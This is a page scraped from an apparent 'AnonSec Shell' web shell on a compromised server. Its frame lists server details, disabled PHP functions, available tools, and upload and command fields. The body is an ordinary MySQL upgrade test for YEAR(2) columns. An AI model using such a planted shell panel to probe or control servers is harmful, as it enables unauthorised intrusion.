AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/server/mysql/mysql-test/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/server/mysql/mysql-test/t/wl6219-upgrade.test
#
# WL#6219: Deprecate and remove YEAR(2) type
#
--disable_query_log
CALL mtr.add_suppression("Found incompatible YEAR");
--enable_query_log

--source include/mysql_upgrade_preparation.inc
--source include/have_innodb.inc
let $MYSQLD_DATADIR= `select @@datadir`;

--echo #
--echo # Test with a saved MyISAM table from 4.1
--echo #

--copy_file std_data/wl6219_41.frm $MYSQLD_DATADIR/test/t1.frm
--chmod 0777 $MYSQLD_DATADIR/test/t1.frm
--copy_file std_data/wl6219_41.MYD $MYSQLD_DATADIR/test/t1.MYD
--chmod 0777 $MYSQLD_DATADIR/test/t1.MYD
--copy_file std_data/wl6219_41.MYI $MYSQLD_DATADIR/test/t1.MYI
--chmod 0777 $MYSQLD_DATADIR/test/t1.MYI

--echo # Everything _looks_ fine
SHOW CREATE TABLE t1;

--echo # Run CHECK TABLE, it should indicate table need a REPAIR TABLE
CHECK TABLE t1 FOR UPGRADE;

--error ER_CRASHED_ON_USAGE
SELECT * FROM t1;
--error ER_CRASHED_ON_USAGE
INSERT INTO t1 () VALUES ();
--error ER_CRASHED_ON_USAGE
INSERT INTO t1 (i) VALUES (10);
--error ER_CRASHED_ON_USAGE
INSERT INTO t1 (y2) VALUES (10);
--error ER_CRASHED_ON_USAGE
UPDATE t1 SET y2=10;
--error ER_CRASHED_ON_USAGE
DELETE FROM t1 LIMIT 1;

CHECK TABLE t1 FOR UPGRADE;

--echo # Run REPAIR TABLE to alter the table and repair the YEAR(2) fields
REPAIR TABLE t1;

--echo # Now check it's back to normal
SHOW CREATE TABLE t1;
SELECT * FROM t1;
INSERT INTO t1 () VALUES ();
UPDATE t1 SET y2=10;
DELETE FROM t1 LIMIT 1;

DROP TABLE t1;

--echo # ALTER TABLE ... FORCE should convert YEAR(2) to YEAR(4)

--copy_file std_data/wl6219_41.frm $MYSQLD_DATADIR/test/t1.frm
--chmod 0777 $MYSQLD_DATADIR/test/t1.frm
--copy_file std_data/wl6219_41.MYD $MYSQLD_DATADIR/test/t1.MYD
--chmod 0777 $MYSQLD_DATADIR/test/t1.MYD
--copy_file std_data/wl6219_41.MYI $MYSQLD_DATADIR/test/t1.MYI
--chmod 0777 $MYSQLD_DATADIR/test/t1.MYI

ALTER TABLE t1 FORCE;
SHOW CREATE TABLE t1;

DROP TABLE t1;


--echo #
--echo # Test with a saved MyISAM table from 5.5
--echo #

--copy_file std_data/wl6219_55.frm $MYSQLD_DATADIR/test/t1.frm
--chmod 0777 $MYSQLD_DATADIR/test/t1.frm
--copy_file std_data/wl6219_55.MYD $MYSQLD_DATADIR/test/t1.MYD
--chmod 0777 $MYSQLD_DATADIR/test/t1.MYD
--copy_file std_data/wl6219_55.MYI $MYSQLD_DATADIR/test/t1.MYI
--chmod 0777 $MYSQLD_DATADIR/test/t1.MYI

--echo # Everything _looks_ fine
SHOW CREATE TABLE t1;

--echo # Run CHECK TABLE, it should indicate table need a REPAIR TABLE
CHECK TABLE t1 FOR UPGRADE;

--error ER_CRASHED_ON_USAGE
SELECT * FROM t1;
--error ER_CRASHED_ON_USAGE
INSERT INTO t1 () VALUES ();
--error ER_CRASHED_ON_USAGE
INSERT INTO t1 (i) VALUES (10);
--error ER_CRASHED_ON_USAGE
INSERT INTO t1 (y2) VALUES (10);
--error ER_CRASHED_ON_USAGE
UPDATE t1 SET y2=10;
--error ER_CRASHED_ON_USAGE
DELETE FROM t1 LIMIT 1;

--echo # Run REPAIR TABLE to alter the table and repair the YEAR(2) fields
REPAIR TABLE t1;

--echo # Now check it's back to normal
SHOW CREATE TABLE t1;
SELECT * FROM t1;

DROP TABLE t1;

--echo # ALTER TABLE ... FORCE should convert YEAR(2) to YEAR(4)

--copy_file std_data/wl6219_55.frm $MYSQLD_DATADIR/test/t1.frm
--chmod 0777 $MYSQLD_DATADIR/test/t1.frm
--copy_file std_data/wl6219_55.MYD $MYSQLD_DATADIR/test/t1.MYD
--chmod 0777 $MYSQLD_DATADIR/test/t1.MYD
--copy_file std_data/wl6219_55.MYI $MYSQLD_DATADIR/test/t1.MYI
--chmod 0777 $MYSQLD_DATADIR/test/t1.MYI

--error ER_CRASHED_ON_USAGE
SELECT * FROM t1;
--error ER_CRASHED_ON_USAGE
INSERT INTO t1 () VALUES ();
--error ER_CRASHED_ON_USAGE
INSERT INTO t1 (i) VALUES (10);
--error ER_CRASHED_ON_USAGE
INSERT INTO t1 (y2) VALUES (10);
--error ER_CRASHED_ON_USAGE
UPDATE t1 SET y2=10;
--error ER_CRASHED_ON_USAGE
DELETE FROM t1 LIMIT 1;

ALTER TABLE t1 FORCE;
SHOW CREATE TABLE t1;

DROP TABLE t1;

--echo #
--echo # Test with InnoDB table (with fake .frm file)
--echo #

--copy_file std_data/wl6219_55.frm $MYSQLD_DATADIR/test/t1.frm
--chmod 0777 $MYSQLD_DATADIR/test/t1.frm
--copy_file std_data/wl6219_55.MYD $MYSQLD_DATADIR/test/t1.MYD
--chmod 0777 $MYSQLD_DATADIR/test/t1.MYD
--copy_file std_data/wl6219_55.MYI $MYSQLD_DATADIR/test/t1.MYI
--chmod 0777 $MYSQLD_DATADIR/test/t1.MYI

--echo # Create InnoDB table with YEAR(4) columns

--error ER_CRASHED_ON_USAGE
SELECT * FROM t1;
--error ER_CRASHED_ON_USAGE
INSERT INTO t1 () VALUES ();
--error ER_CRASHED_ON_USAGE
INSERT INTO t1 (i) VALUES (10);
--error ER_CRASHED_ON_USAGE
INSERT INTO t1 (y2) VALUES (10);
--error ER_CRASHED_ON_USAGE
UPDATE t1 SET y2=10;
--error ER_CRASHED_ON_USAGE
DELETE FROM t1 LIMIT 1;
SHOW WARNINGS;

ALTER TABLE t1 ENGINE=InnoDB;
SHOW CREATE TABLE t1;

FLUSH TABLE t1;

--echo # Replace YEAR(4) column metadata with YEAR(2) metadata

--remove_file $MYSQLD_DATADIR/test/t1.frm
--copy_file std_data/wl6219_55_innodb.frm $MYSQLD_DATADIR/test/t1.frm
--chmod 0777 $MYSQLD_DATADIR/test/t1.frm

SHOW CREATE TABLE t1;

--echo # Run CHECK TABLE, it should indicate table need a REPAIR TABLE
CHECK TABLE t1 FOR UPGRADE;

--echo # Run ALTER TABLE ... FORCE to alter the table and repair the YEAR(2) fields
ALTER TABLE t1 FORCE;

SHOW CREATE TABLE t1;

DROP TABLE t1;

--echo #
--echo # Test mysql_upgrade tool
--echo #

--copy_file std_data/wl6219_55.frm $MYSQLD_DATADIR/test/t1.frm
--chmod 0777 $MYSQLD_DATADIR/test/t1.frm
--copy_file std_data/wl6219_55.MYD $MYSQLD_DATADIR/test/t1.MYD
--chmod 0777 $MYSQLD_DATADIR/test/t1.MYD
--copy_file std_data/wl6219_55.MYI $MYSQLD_DATADIR/test/t1.MYI
--chmod 0777 $MYSQLD_DATADIR/test/t1.MYI

--exec $MYSQL_UPGRADE --skip-verbose --force 2>&1

--source include/mysql_upgrade_cleanup.inc

SHOW CREATE TABLE t1;

DROP TABLE t1;


--echo # 

Anon7 - 2022
AnonSec Team